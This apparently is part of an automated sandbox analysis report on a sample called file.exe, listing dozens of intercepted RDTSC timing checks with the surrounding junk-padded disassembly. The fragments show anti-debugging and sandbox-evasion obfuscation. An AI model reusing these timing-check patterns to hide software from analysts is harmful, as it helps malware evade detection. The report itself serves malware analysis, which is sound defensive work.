Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 349D42 second address: 349DA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBFE8B00F00h 0x00000009 popad 0x0000000a jmp 00007FBFE8B00F03h 0x0000000f pushad 0x00000010 push edi 0x00000011 pop edi 0x00000012 push esi 0x00000013 pop esi 0x00000014 jbe 00007FBFE8B00EF6h 0x0000001a popad 0x0000001b popad 0x0000001c pushad 0x0000001d jmp 00007FBFE8B00F09h 0x00000022 jl 00007FBFE8B00F02h 0x00000028 jp 00007FBFE8B00EF6h 0x0000002e jl 00007FBFE8B00EF6h 0x00000034 push esi 0x00000035 push eax 0x00000036 push edx 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34E771 second address: 34E78D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FBFE93CDB83h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34EA49 second address: 34EA96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBFE8B00F02h 0x00000009 pop eax 0x0000000a jmp 00007FBFE8B00EFDh 0x0000000f push ecx 0x00000010 pushad 0x00000011 popad 0x00000012 pop ecx 0x00000013 jmp 00007FBFE8B00F09h 0x00000018 popad 0x00000019 ja 00007FBFE8B00F06h 0x0000001f pushad 0x00000020 pushad 0x00000021 popad 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34EEFB second address: 34EF29 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBFE93CDB82h 0x00000007 jnl 00007FBFE93CDB76h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FBFE93CDB7Eh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34EF29 second address: 34EF2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34EF2D second address: 34EF31 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34EF31 second address: 34EF37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34F253 second address: 34F25B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34F4DA second address: 34F4E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34F7DF second address: 34F7E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31714C second address: 317152 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 317152 second address: 317158 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 317158 second address: 31717B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBFE8B00F02h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jnp 00007FBFE8B00F00h 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31717B second address: 3171FB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 xchg eax, ebx 0x00000007 jmp 00007FBFE93CDB80h 0x0000000c push dword ptr fs:[00000000h] 0x00000013 pushad 0x00000014 jmp 00007FBFE93CDB7Dh 0x00000019 clc 0x0000001a popad 0x0000001b mov dword ptr fs:[00000000h], esp 0x00000022 jl 00007FBFE93CDB79h 0x00000028 movsx edi, si 0x0000002b or ecx, 2B866378h 0x00000031 mov dword ptr [ebp+1247BE7Ch], esp 0x00000037 cmp dword ptr [ebp+122D2AE1h], 00000000h 0x0000003e jne 00007FBFE93CDC2Dh 0x00000044 call 00007FBFE93CDB7Ah 0x00000049 mov ecx, dword ptr [ebp+122D2C3Dh] 0x0000004f pop ecx 0x00000050 mov byte ptr [ebp+122D2E0Ah], 00000047h 0x00000057 mov dword ptr [ebp+122D1911h], edi 0x0000005d mov eax, D49AA7D2h 0x00000062 clc 0x00000063 push eax 0x00000064 pushad 0x00000065 pushad 0x00000066 push eax 0x00000067 push edx 0x00000068 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 317682 second address: 31768C instructions: 0x00000000 rdtsc 0x00000002 js 00007FBFE8B00EF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31768C second address: 317692 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 317692 second address: 3176D2 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FBFE8B00EF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c add dword ptr [esp], 7F1220D4h 0x00000013 or edx, dword ptr [ebp+122D343Ah] 0x00000019 call 00007FBFE8B00EF9h 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 push ecx 0x00000022 pop ecx 0x00000023 jmp 00007FBFE8B00F08h 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3176D2 second address: 3176DC instructions: 0x00000000 rdtsc 0x00000002 jc 00007FBFE93CDB7Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3176DC second address: 3176ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jl 00007FBFE8B00F0Bh 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3176ED second address: 317708 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBFE93CDB7Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 317708 second address: 31770C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31770C second address: 317710 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 317710 second address: 317716 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 317716 second address: 31772C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d je 00007FBFE93CDB76h 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 317836 second address: 31786A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], esi 0x0000000b push 00000000h 0x0000000d push edx 0x0000000e call 00007FBFE8B00EF8h 0x00000013 pop edx 0x00000014 mov dword ptr [esp+04h], edx 0x00000018 add dword ptr [esp+04h], 0000001Ch 0x00000020 inc edx 0x00000021 push edx 0x00000022 ret 0x00000023 pop edx 0x00000024 ret 0x00000025 push eax 0x00000026 pushad 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 317974 second address: 31797D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 317E9A second address: 317EB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jp 00007FBFE8B00EF8h 0x0000000d popad 0x0000000e push eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 317EB0 second address: 317EB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 317EB4 second address: 317EB8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 317EB8 second address: 317F28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jns 00007FBFE93CDB76h 0x0000000d pop edx 0x0000000e popad 0x0000000f nop 0x00000010 push 00000000h 0x00000012 push ecx 0x00000013 call 00007FBFE93CDB78h 0x00000018 pop ecx 0x00000019 mov dword ptr [esp+04h], ecx 0x0000001d add dword ptr [esp+04h], 00000016h 0x00000025 inc ecx 0x00000026 push ecx 0x00000027 ret 0x00000028 pop ecx 0x00000029 ret 0x0000002a mov edx, dword ptr [ebp+122D3717h] 0x00000030 push 0000001Eh 0x00000032 mov ecx, dword ptr [ebp+122D2A15h] 0x00000038 mov ecx, dword ptr [ebp+122D2C35h] 0x0000003e nop 0x0000003f push edi 0x00000040 js 00007FBFE93CDB80h 0x00000046 jmp 00007FBFE93CDB7Ah 0x0000004b pop edi 0x0000004c push eax 0x0000004d pushad 0x0000004e jmp 00007FBFE93CDB81h 0x00000053 push eax 0x00000054 push edx 0x00000055 jnp 00007FBFE93CDB76h 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3532E6 second address: 3532EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3532EA second address: 3532F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 353427 second address: 35342B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 35342B second address: 353450 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBFE93CDB83h 0x00000007 jbe 00007FBFE93CDB76h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jnl 00007FBFE93CDB7Ch 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 353985 second address: 353999 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FBFE8B00EFAh 0x00000008 pushad 0x00000009 popad 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 353999 second address: 3539AD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBFE93CDB80h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3539AD second address: 3539C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FBFE8B00F01h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3539C4 second address: 3539CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3539CA second address: 3539D4 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FBFE8B00EF6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 35F5A8 second address: 35F5B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 35F5B3 second address: 35F5B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 35F726 second address: 35F730 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FBFE93CDB76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 35F9AF second address: 35F9B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 35FAFC second address: 35FB59 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FBFE93CDB76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jno 00007FBFE93CDB76h 0x00000013 jns 00007FBFE93CDB76h 0x00000019 popad 0x0000001a pushad 0x0000001b push edi 0x0000001c pop edi 0x0000001d push esi 0x0000001e pop esi 0x0000001f popad 0x00000020 popad 0x00000021 pushad 0x00000022 jns 00007FBFE93CDB88h 0x00000028 pushad 0x00000029 pushad 0x0000002a popad 0x0000002b pushad 0x0000002c popad 0x0000002d push edi 0x0000002e pop edi 0x0000002f popad 0x00000030 push eax 0x00000031 push edx 0x00000032 push edi 0x00000033 pop edi 0x00000034 jmp 00007FBFE93CDB87h 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 35FCD0 second address: 35FCDC instructions: 0x00000000 rdtsc 0x00000002 jl 00007FBFE8B00EF6h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 35FE69 second address: 35FE7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBFE93CDB81h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 35FE7E second address: 35FEEC instructions: 0x00000000 rdtsc 0x00000002 jl 00007FBFE8B00EF6h 0x00000008 jmp 00007FBFE8B00F04h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jc 00007FBFE8B00F05h 0x00000015 jp 00007FBFE8B00F09h 0x0000001b jmp 00007FBFE8B00F01h 0x00000020 pushad 0x00000021 popad 0x00000022 popad 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 js 00007FBFE8B00EF6h 0x0000002d jmp 00007FBFE8B00F07h 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 35FEEC second address: 35FEF8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jo 00007FBFE93CDB76h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36031B second address: 360321 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 35F003 second address: 35F024 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FBFE93CDB87h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 35F024 second address: 35F034 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FBFE8B00EF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push edi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3622B6 second address: 3622CF instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FBFE93CDB76h 0x00000008 jc 00007FBFE93CDB76h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 ja 00007FBFE93CDB76h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E12F0 second address: 2E1302 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jp 00007FBFE8B00F0Eh 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e pop edx 0x0000000f push ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 367DB3 second address: 367DBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 367DBB second address: 367DD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 jmp 00007FBFE8B00F01h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 368065 second address: 368069 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 368069 second address: 368080 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007FBFE8B00F01h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36B525 second address: 36B529 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36E8AE second address: 36E8F4 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FBFE8B00EF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FBFE8B00F07h 0x0000000f pushad 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 pushad 0x00000013 popad 0x00000014 jmp 00007FBFE8B00F06h 0x00000019 popad 0x0000001a push ecx 0x0000001b ja 00007FBFE8B00EF6h 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37097A second address: 370985 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 370985 second address: 37098A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37098A second address: 3709AF instructions: 0x00000000 rdtsc 0x00000002 js 00007FBFE93CDB7Ch 0x00000008 jns 00007FBFE93CDB76h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FBFE93CDB7Fh 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3709AF second address: 3709BB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnc 00007FBFE8B00EF6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3709BB second address: 3709D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FBFE93CDB81h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2D2027 second address: 2D202B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2D202B second address: 2D2031 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2D2031 second address: 2D2047 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FBFE8B00EFDh 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37684B second address: 37685F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBFE93CDB80h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37685F second address: 3768C7 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FBFE8B00EF6h 0x00000008 jl 00007FBFE8B00EF6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 jg 00007FBFE8B00EF6h 0x00000017 jbe 00007FBFE8B00EF6h 0x0000001d push ebx 0x0000001e pop ebx 0x0000001f jmp 00007FBFE8B00F05h 0x00000024 popad 0x00000025 pop edx 0x00000026 pop eax 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a push edi 0x0000002b pop edi 0x0000002c pushad 0x0000002d popad 0x0000002e jmp 00007FBFE8B00F00h 0x00000033 jmp 00007FBFE8B00F06h 0x00000038 popad 0x00000039 push ebx 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3768C7 second address: 3768CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop ebx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37518D second address: 375191 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 375191 second address: 375195 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 375195 second address: 37519B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37519B second address: 3751A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3751A5 second address: 3751AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3751AB second address: 3751F0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBFE93CDB7Eh 0x00000007 jnc 00007FBFE93CDB76h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007FBFE93CDB84h 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b jmp 00007FBFE93CDB82h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3751F0 second address: 37520D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBFE8B00F09h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37520D second address: 375213 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37551A second address: 375526 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FBFE8B00EF6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 375526 second address: 37552B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37552B second address: 37555C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FBFE8B00EF6h 0x0000000a jmp 00007FBFE8B00EFAh 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FBFE8B00F08h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3756D6 second address: 3756DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3756DC second address: 3756E2 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 375829 second address: 375833 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FBFE93CDB76h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 375833 second address: 375843 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push esi 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop esi 0x0000000b pushad 0x0000000c push eax 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3759A2 second address: 3759A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
